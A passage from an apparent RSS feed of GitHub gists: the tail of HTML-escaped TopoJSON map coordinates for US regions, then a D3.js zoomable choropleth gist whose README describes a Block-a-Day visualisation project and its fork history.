]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/d8b87b4d3d74944be837e21f12ec0b7e">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/867a7b513aa7edaf41dc798dd6be4d5a</link>
      <guid isPermaLink="true">https://gist.github.com/867a7b513aa7edaf41dc798dd6be4d5a</guid>
      <pubDate>Wed, 21 Sep 2016 17:23:58 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T17:38:59.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>3285</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6158</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

